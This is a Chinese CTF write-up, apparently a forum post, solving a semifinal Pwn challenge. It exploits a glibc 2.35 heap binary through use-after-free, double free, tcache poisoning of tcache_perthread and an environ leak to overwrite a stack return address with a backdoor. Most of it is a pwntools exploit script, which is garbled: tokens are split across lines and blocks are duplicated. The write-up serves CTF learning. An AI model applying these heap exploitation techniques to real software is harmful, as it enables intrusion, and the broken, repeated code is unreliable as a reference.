找华南赛区的师傅要了一份半决赛的Pwn题,听说只有一道题。
题目很简单,可以申请任意大小chunk,并存在UAF、DoubleFree漏洞。
还给了后门函数,不过限制是edit只能写8字节的数据到chunk中。
拖入IDA分析:
题目给了2.35版本的libc和ld,经典菜单题。逐个功能分析。
add函数:
可以申请任意大小的chunk,只能同时有一个chunk指针存储在bss段。并且可以申请0x4F0大小chunk,但是没有返回指针。
delete函数:
没有清空指针,存在UAF漏洞。
show函数:
打印chunk中7个字节数据,进行了异或加密,解密即可。可以用来泄露libc地址和heap地址。
edit函数:
可以修改8个字节的数据即fd指针位置。
最后给了一个后门函数:
可以泄露backdoor的地址,并且能够写一次16字节到chunk上,即同时覆盖fd和bk指针。
题目保护全开,思路很清晰:
既然实现了tcache attack,就可以任意地址(0x10对齐的地址)写8字节了。
由于只能写8字节数据,并且只能在0x10对齐的地址上写,需要考虑将backdoor函数写到哪里。
2.34开始,exit删除了dl_rtld_lock_recursiveh和dl_rtld_unlock_recursive,也就是我们常说的exit_hook。
当然,更没有malloc_hook、free_hook等函数了。这里提供3个攻击思路:
这里介绍第三种方法,将backdoor写回栈上的返回地址。
编写异或解密函数:
先泄露libc和heap地址:
然后开始利用。
然而,使用后门函数清除key后进行double free,然后tcache poisoning,只能完成一次任意地址写。
因此,我们需要利用这一次tcache poisoning控制tcache_perthread,控制tcache的个数,实现tcache_perthread。
这样一来,由于我们可以写8个字节数据。可以控制4个tcache的个数,分别是0x20到0x50。
我们已经成功控制的tcache_perthread的前8字节,然后往0x20和0x30大小的tcache中分别放入一个chunk用于后续tcache poisoning。
刚才释放的tcache_perthread放入了0x290的tcache中,再次申请回来并修改对应tcache大小为2。
利用0x20大小的tcache泄露environ变量:
利用0x30大小的tcache控制bss段的chunk指针指向自己:
然后,两次edit将backdoor写到返回地址:
这里说一下为什么最后一次tcache poisoning需要控制bss段上的chunk指针而不是直接控制返回地址。
glibc2.32开始引入对申请和释放tcache时地址检查,地址必须0x10对齐,因此通过bss段上的chunk指针可以绕过这个保护。
这里还存在一个问题,直接返回backdoor的话会崩,gdb调试发现:
刚学pwn的时候ROP到system("/bin/sh")会崩,很多师傅告诉我是堆栈平衡的原因,这次仔细分析了一下。
是因为movaps这条汇编指令是SSE指令,考虑到效率问题,操作数必须0x10字节对齐。
因此,在执行system函数前,我们只需要将栈里多或少放0x8字节数据即可。
这里处理的话是让backdoor + 8,少执行一次push rbp。完整exp如下所示:
def
decrypt():
p.recvuntil(b
"the data:"
)
enc
=
bytearray(p.recv(
7
))
for
i
in
range
(
7
):
enc[i] ^
=
(i
+
153
)
return
bytes(enc)
def
decrypt():
p.recvuntil(b
"the data:"
)
enc
=
bytearray(p.recv(
7
))
for
i
in
range
(
7
):
enc[i] ^
=
(i
+
153
)
return
bytes(enc)
add_chunk(
0x88
)
delete_chunk()
show_chunk()
heap_base
=
u64(decrypt().ljust(
8
, b
'\x00'
)) <<
12
success(
"heap_base = "
+
hex
(heap_base))
add_chunk(
0x418
)
p.sendlineafter(b
"edit\n"
, b
"1"
)
p.sendlineafter(b
"choose?\n"
, b
"2"
)
delete_chunk()
show_chunk()
libc_base
=
u64(decrypt().ljust(
8
, b
'\x00'
))
-
0x242ce0
+
0x50000
libc.address
=
libc_base
environ
=
libc.sym[
'environ'
]
success(
"libc_base = "
+
hex
(libc_base))
success(
"environ = "
+
hex
(environ))
add_chunk(
0x88
)
delete_chunk()
show_chunk()
heap_base
=
u64(decrypt().ljust(
8
, b
'\x00'
)) <<
12
success(
"heap_base = "
+
hex
(heap_base))
add_chunk(
0x418
)
p.sendlineafter(b
"edit\n"
, b
"1"
)
p.sendlineafter(b
"choose?\n"
, b
"2"
)
delete_chunk()
show_chunk()
libc_base
=
u64(decrypt().ljust(
8
, b
'\x00'
))
-
0x242ce0
+
0x50000
libc.address
=
libc_base
environ
=
libc.sym[
'environ'
]
success(
"libc_base = "
+
hex
(libc_base))
success(
"environ = "
+
hex
(environ))
add_chunk(
0x88
)
delete_chunk()
p.sendlineafter(b
"edit\n"
, b
"5"
)
p.recvuntil(b
"address: "
)
backdoor
=
int
(p.recv(
14
),
16
)
elf_base
=
backdoor
-
0x12be
success(
"elf_base = "
+
hex
(elf_base))
success(
"backdoor = "
+
hex
(backdoor))
p.sendafter(b
'data:'
, p64(
0
)
+
p64(
0
))
delete_chunk()
target
=
heap_base
+
0x10
edit_chunk(p64(heap_base >>
12
^ target))
add_chunk(
0x88
)
add_chunk(
0x88
)
delete_chunk()
edit_chunk(p64(
0
))
add_chunk(
0x88
)
delete_chunk()
p.sendlineafter(b
"edit\n"
, b
"5"
)
p.recvuntil(b
"address: "
)
backdoor
=
int
(p.recv(
14
),
16
)
elf_base
=
backdoor
-
0x12be
success(
"elf_base = "
+
hex
(elf_base))
success(
"backdoor = "
+
hex
(backdoor))
p.sendafter(b
'data:'
, p64(
0
)
+
p64(
0
))
delete_chunk()
target
=
heap_base
+
0x10
edit_chunk(p64(heap_base >>
12
^ target))
add_chunk(
0x88
)
add_chunk(
0x88
)
delete_chunk()
edit_chunk(p64(
0
))
add_chunk(
0x18
)
delete_chunk()
add_chunk(
0x28
)
delete_chunk()
add_chunk(
0x288
)
delete_chunk()
edit_chunk(p16(
2
)
+
p16(
2
)
+
p16(
0
)
+
p16(
0
))
add_chunk(
0x18
)
delete_chunk()
add_chunk(
0x28
)
delete_chunk()
add_chunk(
0x288
)
delete_chunk()
edit_chunk(p16(
2
)
+
p16(
2
)
+
p16(
0
)
+
p16(
0
))
add_chunk(
0x18
)
delete_chunk()
edit_chunk(p64((heap_base >>
12
) ^ environ))
add_chunk(
0x18
)
add_chunk(
0x18
)
show_chunk()
stack_addr
=
u64(decrypt().ljust(
8
, b
'\x00'
))
success(
"stack_addr = "
+
hex
(stack_addr))
add_chunk(
0x18
)
delete_chunk()
edit_chunk(p64((heap_base >>
12
) ^ environ))
add_chunk(
0x18
)
add_chunk(
0x18
)
show_chunk()
stack_addr
=
u64(decrypt().ljust(
8
, b
'\x00'
))
success(
"stack_addr = "
+
hex
(stack_addr))
add_chunk(
0x28
)
delete_chunk()
target
=
elf_base
+
0x4040
edit_chunk(p64((heap_base >>
12
) ^ target))
add_chunk(
0x28
)
add_chunk(
0x28
)
add_chunk(
0x28
)
delete_chunk()
target
=
elf_base
+
0x4040
edit_chunk(p64((heap_base >>
12
) ^ target))
add_chunk(
0x28
)
add_chunk(
0x28
)
target
=
stack_addr
-
0x140
edit_chunk(p64(target))
edit_chunk(p64(backdoor))
target
=
stack_addr
-
0x140
edit_chunk(p64(target))
edit_chunk(p64(backdoor))
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2024-6-15 09:21
被Real返璞归真编辑
,原因: